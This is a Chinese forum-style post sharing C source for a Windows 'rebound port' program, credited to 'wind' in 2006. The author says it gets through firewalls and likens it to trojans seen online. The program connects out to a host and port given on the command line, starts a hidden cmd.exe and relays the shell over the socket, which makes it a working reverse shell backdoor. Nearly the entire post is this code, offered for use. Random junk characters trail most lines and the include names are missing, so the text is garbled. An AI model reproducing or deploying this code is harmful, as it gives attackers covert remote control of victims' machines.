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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (v&iXD5t  
8H,k0~D  
/* ============================== lV9   
Rebound port in Windows NT 89m9iJ=  
By wind,2006/7 VNs3.  
===============================*/ V}ls|B$Y  
#include }tQ^ch;Q  
#include pjma<^|F  
x2f=o|]D'  
#pragma comment(lib,"wsock32.lib") m%b# B>J,n  
p*U!94Pb  
void OutputShell(); "8L v  
SOCKET sClient; WtC&Qyuq  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &(m01  
RN$>!b/  
void main(int argc,char **argv) 6#Rco%07zI  
{ v SY YetL  
WSADATA stWsaData; 4HpKKhv"  
int nRet; L#S|2L_hC  
SOCKADDR_IN stSaiClient,stSaiServer; /iL*)  
mNsd&Rk'  
if(argc != 3) j9X|c7|  
{ !;K zR&  
printf("Useage:\n\rRebound DestIP DestPort\n"); i0Rj;E=:]  
return; ^b4i9n,t1  
} ?g:sAR'  
211V'|a_ >  
WSAStartup(MAKEWORD(2,2),&stWsaData); -e>Z!0  
9ji`.&#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 99"8d^{z  
;0`IFtz  
stSaiClient.sin_family = AF_INET; vOq N=bp  
stSaiClient.sin_port = htons(0); csA-<}S5]b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8T[<&<^-  
T^A[m0mk  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +|TXKhm{  
{ 5~d=,;yE  
printf("Bind Socket Failed!\n"); bz1AmNZG  
return; r7^v@  
} K & %8w  
t*)!BZ  
stSaiServer.sin_family = AF_INET; Rd<K.7&A}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D/=k9[b!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xkk 8#Y":  
E^0a; |B[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =\mJ5v"hA  
{ TM|PwY  
printf("Connect Error!"); ?<S fhjU  
return; QMy1!:Z&!  
} [7NO !^  
OutputShell(); QKhGEW~G  
} /,~g"y.;,  
h lSav?V_  
void OutputShell() @( 0O9L F  
{ 4dm0:, G  
char szBuff[1024]; ~,Yd.?.TI  
SECURITY_ATTRIBUTES stSecurityAttributes; IfT: 9 &  
OSVERSIONINFO stOsversionInfo; /x4L,UJ= P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p 16+(m  
STARTUPINFO stStartupInfo; c?KIHZ0  
char *szShell; #<s"?Y%-  
PROCESS_INFORMATION stProcessInformation; @}Q!K*  
unsigned long lBytesRead; UFC^ lv  
X\>/'fC$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qz.l  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g1:%986jv  
stSecurityAttributes.lpSecurityDescriptor = 0; H7k@Br  
stSecurityAttributes.bInheritHandle = TRUE; 3w"_Onwk  
L$rr:^J  
RS@[ +!:t  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g)!q4 -q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2dK:VC4U  
u \<APn  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k3KT':*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sXNb  
stStartupInfo.wShowWindow = SW_HIDE; gdg``U;)p  
stStartupInfo.hStdInput = hReadPipe; oX'@,(6)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nyxoa/  
i29a1nD4Hm  
GetVersionEx(&stOsversionInfo); 9p1@Lfbj  
>&k`NXS|V  
switch(stOsversionInfo.dwPlatformId) $=`d[04  
{ - P "  
case 1: YLS*uXB&.  
szShell = "command.com"; $My~sN8  
break; t*dq*(3"c  
default: a7=lZZ?  
szShell = "cmd.exe"; !6z{~Z:   
break; B@#vS=g  
} N 1.fV-  
>;R7r|^k  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F/[m.!Eo  
7 toIbC#  
send(sClient,szMsg,77,0); Rg+# (y  
while(1) 5:#|Op N  
{ 9MQjSNYzo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {+[ Ex2b$  
if(lBytesRead) j(}pUV B  
{ WF_QhKW|k  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IYHNN  
send(sClient,szBuff,lBytesRead,0); )vpYVr-  
} wQ~]VV RN  
else ggm'9|  
{ lL 50PU  
lBytesRead=recv(sClient,szBuff,1024,0); lR9uD9Dr  
if(lBytesRead<=0) break; n,LM"N:   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e Qk5:{[  
} ?RW1%+[  
} DrbjklcUU  
$o9@ ?2  
return; WBA7G  
}
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